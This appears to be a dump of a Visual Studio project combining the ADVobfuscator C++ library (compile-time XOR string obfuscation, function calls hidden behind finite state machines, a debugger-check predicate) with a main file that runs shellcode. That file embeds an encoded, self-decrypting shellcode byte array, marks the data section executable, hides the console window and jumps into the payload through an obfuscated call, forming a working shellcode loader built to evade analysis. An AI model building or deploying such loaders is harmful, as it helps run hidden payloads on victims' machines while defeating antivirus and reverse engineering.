/ObfuscationStrings-new/MetaString.h: -------------------------------------------------------------------------------- 1 | // 2 | // MetaString.h 3 | // ADVobfuscator 4 | // 5 | // Copyright (c) 2010-2017, Sebastien Andrivet 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | // 10 | // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | // 12 | // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 13 | // 14 | // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 17 | // 18 | // Get latest version on https://github.com/andrivet/ADVobfuscator 19 | 20 | #ifndef MetaString_h 21 | #define MetaString_h 22 | 23 | #include "Inline.h" 24 | #include "Indexes.h" 25 | #include "MetaRandom.h" 26 | #include "Log.h" 27 | 28 | namespace andrivet { namespace ADVobfuscator { 29 | 30 | // Represents an obfuscated string, parametrized with an alrorithm number N, a list of indexes Indexes and a key Key 31 | 32 | template 33 | struct MetaString; 34 | 35 | // Partial specialization with a list of indexes I, a key K and algorithm N = 0 36 | // Each character is encrypted (XOR) with the same key 37 | 38 | template 39 | struct MetaString<0, K, Indexes> 40 | { 41 | // Constructor. Evaluated at compile time. 42 | constexpr ALWAYS_INLINE MetaString(const char* str) 43 | : key_{K}, buffer_ {encrypt(str[I], K)...} { } 44 | 45 | // Runtime decryption. Most of the time, inlined 46 | inline const char* decrypt() 47 | { 48 | for(size_t i = 0; i < sizeof...(I); ++i) 49 | buffer_[i] = decrypt(buffer_[i]); 50 | buffer_[sizeof...(I)] = 0; 51 | //LOG("--- Implementation #" << 0 << " with key 0x" << hex(key_)); 52 | return const_cast(buffer_); 53 | } 54 | 55 | private: 56 | // Encrypt / decrypt a character of the original string with the key 57 | constexpr char key() const { return key_; } 58 | constexpr char ALWAYS_INLINE encrypt(char c, int k) const { return c ^ k; } 59 | constexpr char decrypt(char c) const { return encrypt(c, key()); } 60 | 61 | volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler 62 | volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte 63 | }; 64 | 65 | // Partial specialization with a list of indexes I, a key K and algorithm N = 1 66 | // Each character is encrypted (XOR) with an incremented key. 67 | 68 | template 69 | struct MetaString<1, K, Indexes> 70 | { 71 | // Constructor. Evaluated at compile time. 72 | constexpr ALWAYS_INLINE MetaString(const char* str) 73 | : key_(K), buffer_ {encrypt(str[I], I)...} { } 74 | 75 | // Runtime decryption. Most of the time, inlined 76 | inline const char* decrypt() 77 | { 78 | for(size_t i = 0; i < sizeof...(I); ++i) 79 | buffer_[i] = decrypt(buffer_[i], i); 80 | buffer_[sizeof...(I)] = 0; 81 | //LOG("--- Implementation #" << 1 << " with key 0x" << hex(key_)); 82 | return const_cast(buffer_); 83 | } 84 | 85 | private: 86 | // Encrypt / decrypt a character of the original string with the key 87 | constexpr char key(size_t position) const { return static_cast(key_ + position); } 88 | constexpr char ALWAYS_INLINE encrypt(char c, size_t position) const { return c ^ key(position); } 89 | constexpr char decrypt(char c, size_t position) const { return encrypt(c, position); } 90 | 91 | volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler 92 | volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte 93 | }; 94 | 95 | // Partial specialization with a list of indexes I, a key K and algorithm N = 2 96 | // Shift the value of each character and does not store the key. It is only used at compile-time. 97 | 98 | template 99 | struct MetaString<2, K, Indexes> 100 | { 101 | // Constructor. Evaluated at compile time. Key is *not* stored 102 | constexpr ALWAYS_INLINE MetaString(const char* str) 103 | : buffer_ {encrypt(str[I])..., 0} { } 104 | 105 | // Runtime decryption. Most of the time, inlined 106 | inline const char* decrypt() 107 | { 108 | for(size_t i = 0; i < sizeof...(I); ++i) 109 | buffer_[i] = decrypt(buffer_[i]); 110 | //LOG("--- Implementation #" << 2 << " with key 0x" << hex(K)); 111 | return const_cast(buffer_); 112 | } 113 | 114 | private: 115 | // Encrypt / decrypt a character of the original string with the key 116 | // Be sure that the encryption key is never 0. 117 | constexpr char key(char key) const { return 1 + (key % 13); } 118 | constexpr char ALWAYS_INLINE encrypt(char c) const { return c + key(K); } 119 | constexpr char decrypt(char c) const { return c - key(K); } 120 | 121 | // Buffer to store the encrypted string + terminating null byte. Key is not stored 122 | volatile char buffer_[sizeof...(I) + 1]; 123 | }; 124 | 125 | // Helper to generate a key 126 | template 127 | struct MetaRandomChar 128 | { 129 | // Use 0x7F as maximum value since most of the time, char is signed (we have however 1 bit less of randomness) 130 | static const char value = static_cast(1 + MetaRandom::value); 131 | }; 132 | 133 | 134 | }} 135 | 136 | // Prefix notation 137 | #define DEF_OBFUSCATED(str) andrivet::ADVobfuscator::MetaString::value, andrivet::ADVobfuscator::MetaRandomChar<__COUNTER__>::value, andrivet::ADVobfuscator::Make_Indexes::type>(str) 138 | 139 | #define OBFUSCATED(str) (DEF_OBFUSCATED(str).decrypt()) 140 | 141 | #endif 142 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/ObfuscatedCall.h: -------------------------------------------------------------------------------- 1 | // 2 | // ObfuscatedCall.h 3 | // ADVobfuscator 4 | // 5 | // Copyright (c) 2010-2017, Sebastien Andrivet 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | // 10 | // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | // 12 | // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 13 | // 14 | // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 17 | // 18 | // Get latest version on https://github.com/andrivet/ADVobfuscator 19 | 20 | #ifndef ObfuscatedCall_h 21 | #define ObfuscatedCall_h 22 | 23 | #include "MetaFSM.h" 24 | #include "MetaRandom.h" 25 | 26 | // Obfuscate function call with a finite state machine (FSM). 27 | // This is only a (simplified) example to show the principle 28 | // In this example, the target is called at the end of the FSM so it can be located. 29 | // In production, it would be better to put it in the middle of the FSM with some computing triggering it. 30 | 31 | namespace andrivet { namespace ADVobfuscator { namespace Machine1 { 32 | 33 | // Finite State Machine 34 | // E: Event associated with target 35 | // R: Type of return value 36 | template 37 | struct Machine : public msm::front::state_machine_def> 38 | { 39 | // --- Events 40 | struct event1 {}; 41 | struct event2 {}; 42 | struct event3 {}; 43 | struct event4 {}; 44 | struct event5 {}; 45 | 46 | // --- States 47 | struct State1 : public msm::front::state<>{}; 48 | struct State2 : public msm::front::state<>{}; 49 | struct State3 : public msm::front::state<>{}; 50 | struct State4 : public msm::front::state<>{}; 51 | struct State5 : public msm::front::state<>{}; 52 | struct Final : public msm::front::state<>{}; 53 | 54 | // --- Transitions 55 | struct CallTarget 56 | { 57 | template 58 | void operator()(EVT const& evt, FSM& fsm, SRC&, TGT&) 59 | { 60 | fsm.result_ = evt.call(); 61 | } 62 | }; 63 | 64 | // --- Initial state of the FSM. Must be defined 65 | using initial_state = State1; 66 | 67 | // --- Transition table 68 | struct transition_table : mpl::vector< 69 | // Start Event Next Action Guard 70 | // +---------+-------------+---------+---------------------+----------------------+ 71 | Row < State1 , event5 , State2 >, 72 | Row < State1 , event1 , State3 >, 73 | // +---------+-------------+---------+---------------------+----------------------+ 74 | Row < State2 , event2 , State4 >, 75 | // +---------+-------------+---------+---------------------+----------------------+ 76 | Row < State3 , none , State3 >, 77 | // +---------+-------------+---------+---------------------+----------------------+ 78 | Row < State4 , event4 , State1 >, 79 | Row < State4 , event3 , State5 >, 80 | // +---------+-------------+---------+---------------------+----------------------+ 81 | Row < State5 , E , Final, CallTarget > 82 | // +---------+-------------+---------+---------------------+----------------------+ 83 | > {}; 84 | 85 | using StateMachine = msm::back::state_machine>; 86 | 87 | template 88 | struct Run 89 | { 90 | static inline void run(StateMachine& machine, F f, Args&&... args) 91 | { 92 | // This is just an example of what is possible. In actual production code it would be better to call event E in the middle of this loop and to make transitions more complex. 93 | 94 | machine.start(); 95 | 96 | // Generate a lot of transitions (at least 55, at most 98) 97 | Unroller<55 + MetaRandom<__COUNTER__, 44>::value>{}([&]() 98 | { 99 | machine.process_event(event5{}); 100 | machine.process_event(event2{}); 101 | machine.process_event(event4{}); 102 | }); 103 | 104 | machine.process_event(event5{}); 105 | machine.process_event(event2{}); 106 | machine.process_event(event3{}); 107 | // This will call our target. In actual production code it would be better to call event E in the middle of the FSM processing. 108 | machine.process_event(E{f, args...}); 109 | } 110 | }; 111 | 112 | // Result of the target 113 | R result_; 114 | }; 115 | 116 | }}} 117 | 118 | 119 | #pragma warning(push) 120 | #pragma warning(disable : 4068) 121 | #pragma clang diagnostic push 122 | #pragma clang diagnostic ignored "-Wgnu-zero-variadic-macro-arguments" 123 | 124 | #define OBFUSCATED_CALL0(f) andrivet::ADVobfuscator::ObfuscatedCall(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278)) 125 | #define OBFUSCATED_CALL_RET0(R, f) andrivet::ADVobfuscator::ObfuscatedCallRet(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278)) 126 | 127 | #define OBFUSCATED_CALL(f, ...) andrivet::ADVobfuscator::ObfuscatedCall(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278), __VA_ARGS__) 128 | #define OBFUSCATED_CALL_RET(R, f, ...) andrivet::ADVobfuscator::ObfuscatedCallRet(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278), __VA_ARGS__) 129 | 130 | #pragma clang diagnostic pop 131 | #pragma warning(pop) 132 | 133 | 134 | #endif 135 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/ObfuscatedCallWithPredicate.h: -------------------------------------------------------------------------------- 1 | // 2 | // ObfuscatedCallWithPredicate.h 3 | // ADVobfuscator 4 | // 5 | // Copyright (c) 2010-2017, Sebastien Andrivet 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | // 10 | // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | // 12 | // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 13 | // 14 | // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 17 | // 18 | // Get latest version on https://github.com/andrivet/ADVobfuscator 19 | 20 | #ifndef ObfuscatedCallWithPredicate_h 21 | #define ObfuscatedCallWithPredicate_h 22 | 23 | #include "MetaFSM.h" 24 | #include "MetaRandom.h" 25 | 26 | // Obfuscate function call with a finite state machine (FSM). 27 | // In this example, the execution of the FSM is combined with the checking of a predicate (is a debugger present or not). 28 | 29 | namespace andrivet { namespace ADVobfuscator { namespace Machine2 { 30 | 31 | // Finite State Machine 32 | // E: Event associated with target 33 | // P: Predicate 34 | // R: Type of return value 35 | template 36 | struct Machine : public msm::front::state_machine_def> 37 | { 38 | // -- Events 39 | struct event1 {}; 40 | struct event2 {}; 41 | 42 | // --- States 43 | struct State1 : public msm::front::state<>{}; 44 | struct State2 : public msm::front::state<>{}; 45 | struct State3 : public msm::front::state<>{}; 46 | struct State4 : public msm::front::state<>{}; 47 | struct State5 : public msm::front::state<>{}; 48 | struct State6 : public msm::front::state<>{}; 49 | struct Final : public msm::front::state<>{}; 50 | 51 | // --- Transitions 52 | struct CallTarget 53 | { 54 | template 55 | void operator()(EVT const& evt, FSM& fsm, SRC&, TGT&) 56 | { 57 | fsm.result_ = evt.call(); 58 | } 59 | }; 60 | 61 | struct CallPredicate 62 | { 63 | template 64 | void operator()(EVT const&, FSM& fsm, SRC&, TGT&) 65 | { 66 | fsm.predicateCounter_ += P{}(); 67 | } 68 | }; 69 | 70 | struct Increment 71 | { 72 | template 73 | void operator()(EVT const&, FSM& fsm, SRC&, TGT&) 74 | { 75 | ++fsm.predicateCounter_; 76 | } 77 | }; 78 | 79 | // --- Guards 80 | struct Predicate 81 | { 82 | template 83 | bool operator()(EVT const&, FSM& fsm, SRC&, TGT&) 84 | { 85 | return (fsm.predicateCounter_ - fsm.predicateCounterInit_) % 2 == 0; 86 | } 87 | }; 88 | 89 | struct NotPredicate 90 | { 91 | template 92 | bool operator()(EVT const& evt, FSM& fsm, SRC& src, TGT& tgt) 93 | { 94 | return !Predicate{}(evt, fsm, src, tgt); 95 | } 96 | }; 97 | 98 | // --- Initial state of the FSM. Must be defined 99 | using initial_state = State1; 100 | 101 | // --- Transition table 102 | struct transition_table : mpl::vector< 103 | // Start Event Next Action Guard 104 | // +---------+-------------+---------+---------------------+----------------------+ 105 | Row < State1 , event1 , State2 >, 106 | Row < State1 , E , State5 >, 107 | // +---------+-------------+---------+---------------------+----------------------+ 108 | Row < State2 , event1 , State3 , CallPredicate >, 109 | Row < State2 , event2 , State1 , none , Predicate >, 110 | Row < State2 , event2 , State4 , none , NotPredicate >, 111 | // +---------+-------------+---------+---------------------+----------------------+ 112 | Row < State3 , event1 , State2 , Increment >, 113 | // +---------+-------------+---------+---------------------+----------------------+ 114 | Row < State4 , E , State5 , CallTarget >, 115 | // +---------+-------------+---------+---------------------+----------------------+ 116 | Row < State5 , event2 , State6 >, 117 | // +---------+-------------+---------+---------------------+----------------------+ 118 | Row < State6 , event1 , Final > 119 | // +---------+-------------+---------+---------------------+----------------------+ 120 | > {}; 121 | 122 | using StateMachine = msm::back::state_machine>; 123 | 124 | template 125 | struct Run 126 | { 127 | static inline void run(StateMachine& machine, F f, Args&&... args) 128 | { 129 | machine.start(); 130 | 131 | machine.process_event(event1{}); 132 | 133 | // Generate a lot of transitions (at least 19, at most 19 + 2 * 40) 134 | // Important: This has to be an odd number to detect if the predicate is true or not 135 | // This is computed at Compile-Time 136 | Unroller<19 + 2 * MetaRandom<__COUNTER__, 40>::value>{}([&]() 137 | { 138 | machine.process_event(event1{}); 139 | machine.process_event(event1{}); 140 | }); 141 | 142 | machine.process_event(event2{}); 143 | 144 | // Call our target. Will be actually called only if predicate P is true 145 | machine.process_event(E{f, args...}); 146 | 147 | machine.process_event(event2{}); 148 | machine.process_event(event1{}); 149 | } 150 | }; 151 | 152 | 153 | // Result of the target 154 | R result_; 155 | 156 | // Counter to obfuscate predicate result 157 | static const int predicateCounterInit_ = 100 + MetaRandom<__COUNTER__, 999>::value; 158 | int predicateCounter_ = predicateCounterInit_; 159 | }; 160 | 161 | }}} 162 | 163 | // Warning: ##__VA_ARGS__ is not portable (only __VA_ARGS__ is). However, ##__VA_ARGS__ is far better (handles cases when it is empty) and supported by most compilers 164 | 165 | #pragma warning(push) 166 | #pragma warning(disable : 4068) 167 | #pragma clang diagnostic push 168 | #pragma clang diagnostic ignored "-Wgnu-zero-variadic-macro-arguments" 169 | 170 | #define OBFUSCATED_CALL_P0(P, f) andrivet::ADVobfuscator::ObfuscatedCallP(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278)) 171 | #define OBFUSCATED_CALL_RET_P0(R, P, f) andrivet::ADVobfuscator::ObfuscatedCallRetP(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278)) 172 | 173 | #define OBFUSCATED_CALL_P(P, f, ...) andrivet::ADVobfuscator::ObfuscatedCallP(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278), ##__VA_ARGS__) 174 | #define OBFUSCATED_CALL_RET_P(R, P, f, ...) andrivet::ADVobfuscator::ObfuscatedCallRetP(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278), ##__VA_ARGS__) 175 | 176 | #pragma clang diagnostic pop 177 | #pragma warning(pop) 178 | 179 | 180 | #endif 181 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/ObfuscationStrings-new.cpp: -------------------------------------------------------------------------------- 1 |  2 | #if !defined(DEBUG) || DEBUG == 0 3 | #define BOOST_DISABLE_ASSERTS 4 | #endif 5 | 6 | #pragma warning(disable: 4503) 7 | 8 | #define ADVLOG 1 9 | 10 | #include "Log.h" 11 | #include "MetaString.h" 12 | #include "ObfuscatedCall.h" 13 | #include "ObfuscatedCallWithPredicate.h" 14 | #include 15 | #include 16 | 17 | #pragma comment(linker, "/section:.data,RWE") 18 | #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 19 | #pragma comment(linker, "/INCREMENTAL:NO") 20 | using namespace std; 21 | using namespace andrivet::ADVobfuscator; 22 | 23 | char shellcode[] = "\xeb\x23\x5b\x89\xdf\xb0\xb5\xfc\xae\x75\xfd\x89\xf9\x89\xde" 24 | "\x8a\x06\x30\x07\x47\x66\x81\x3f\x2a\x1d\x74\x08\x46\x80\x3e" 25 | "\xb5\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x11\xb5\xfa" 26 | "\x32\x4a\x98\xce\xa1\xca\xed\xbf\x64\xec\x98\xe8\x98\xcf\x9b" 27 | "\x17\x21\x16\x56\x77\x90\x2e\x0c\x41\x65\x19\x57\x91\x2f\xca" 28 | "\x64\xff\xfa\xfb\xee\xf0\xf9\xc9\xee\xee\xee\x1e\xca\xc7\xf5" 29 | "\x85\xc7\x6a\x3a\xea\x2f\xcc\xac\x69\x2f\xd7\x7a\x95\x6f\x2e" 30 | "\x95\x68\x12\x95\x68\x02\x95\x58\x16\x95\x60\x3e\x95\x28\x26" 31 | "\x51\x06\x6b\xed\x47\x1f\xcf\xe1\xff\x7e\x95\x72\x3a\x3a\x95" 32 | "\x5b\x22\x95\x4a\x36\x66\x1f\xf4\x95\x54\x06\x95\x44\x3e\x1f" 33 | "\xf5\xfd\x2a\x57\x95\x2a\x95\x1f\xf0\x2f\xe1\x2f\xde\xe2\xb2" 34 | "\x9a\xde\x6a\x19\xdf\xd1\x13\x1f\xd9\xf5\xea\x25\x62\x3a\x36" 35 | "\x6b\xff\x95\x44\x3a\x1f\xf5\x78\x95\x12\x55\x95\x44\x02\x1f" 36 | "\xf5\x95\x1a\x95\x1f\xf6\x97\x5a\x3a\x02\x7f\xdd\xac\x16\x37" 37 | "\xca\x97\xfb\x97\xdc\x76\x90\x50\x10\xf2\x4c\xf6\x81\xe1\xe1" 38 | "\xe1\x97\x5b\x1a\xa5\x60\xc6\xfc\x6d\x99\x02\x3a\x4c\xf6\x90" 39 | "\xe1\xe1\xe1\x97\x5b\x16\x76\x72\x72\x3e\x5f\x76\x2d\x2c\x30" 40 | "\x7a\x76\x6b\x6d\x7b\x6c\x2e\xc5\x96\x42\x3a\x14\x97\xf8\x48" 41 | "\xe1\x4b\x1a\x97\xdc\x4e\xa5\xb6\xbc\x53\xa2\x99\x02\x3a\x4c" 42 | "\xf6\x41\xe1\xe1\xe1\x76\x71\x66\x46\x3e\x76\x7f\x79\x7b\x5c" 43 | "\x76\x53\x7b\x6d\x6d\x2f\xc5\x96\x42\x3a\x14\x97\xfd\x76\x46" 44 | "\x3e\x3e\x3e\x76\x53\x4d\x58\x3f\x76\x6c\x71\x73\x3e\x76\x71" 45 | "\x32\x3e\x78\x76\x56\x7b\x72\x72\x2f\xd7\x96\x52\x3a\x0e\x97" 46 | "\xff\x2f\xcc\x4c\x4d\x4f\x4c\xe1\xce\x2f\xde\x4e\xe1\x4b\x16" 47 | "\x0c\x41\x2a\x1d"; 48 | 49 | void exec() 50 | { 51 | ((void(*)(void)) & shellcode)(); 52 | } 53 | 54 | int main(int, const char* []) 55 | { 56 | OBFUSCATED_CALL0(exec); 57 | exec(); 58 | return 0; 59 | } 60 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/ObfuscationStrings-new.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {1d63bf3c-84d1-48a6-a9ed-3c0e671be7f4} 25 | ObfuscationStringsnew 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | E:\Tools\boost_1_73_0;%(AdditionalIncludeDirectories) 92 | 93 | 94 | Console 95 | true 96 | E:\Tools\boost_1_73_0;%(AdditionalLibraryDirectories) 97 | 98 | 99 | 100 | 101 | Level3 102 | true 103 | true 104 | true 105 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | E:\Tools\boost_1_73_0;%(AdditionalIncludeDirectories) 108 | 109 | 110 | Console 111 | true 112 | true 113 | true 114 | E:\Tools\boost_1_73_0;%(AdditionalLibraryDirectories) 115 | 116 | 117 | 118 | 119 | Level3 120 | true 121 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 122 | true 123 | 124 | 125 | Console 126 | true 127 | 128 | 129 | 130 | 131 | Level3 132 | true 133 | true 134 | true 135 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 136 | true 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/ObfuscationStrings-new.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 23 | 24 | 头文件 25 | 26 | 27 | 头文件 28 | 29 | 30 | 头文件 31 | 32 | 33 | 头文件 34 | 35 | 36 | 头文件 37 | 38 | 39 | 头文件 40 | 41 | 42 | 头文件 43 | 44 | 45 | 头文件 46 | 47 | 48 | 头文件 49 | 50 | 51 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/Unroller.h: -------------------------------------------------------------------------------- 1 | // 2 | // Unroller.h 3 | // ADVobfuscator 4 | // 5 | // Copyright (c) 2010-2017, Sebastien Andrivet 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | // 10 | // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | // 12 | // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 13 | // 14 | // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 17 | // 18 | // Get latest version on https://github.com/andrivet/ADVobfuscator 19 | 20 | #ifndef Unroller_h 21 | #define Unroller_h 22 | 23 | // Unroll a loop 24 | 25 | namespace andrivet { namespace ADVobfuscator { 26 | 27 | template 28 | struct Unroller 29 | { 30 | template 31 | inline auto operator()(F&& f, Args&&... args) -> decltype(std::forward(f)(std::forward(args)...)) 32 | { 33 | Unroller{}(std::forward(f), std::forward(args)...); 34 | return std::forward(f)(std::forward(args)...); 35 | } 36 | }; 37 | 38 | template <> 39 | struct Unroller<1> 40 | { 41 | template 42 | inline auto operator()(F&& f, Args&&... args) -> decltype(std::forward(f)(std::forward(args)...)) 43 | { 44 | return std::forward(f)(std::forward(args)...); 45 | } 46 | }; 47 | 48 | }} 49 | 50 | #endif 51 | --------------------------------------------------------------------------------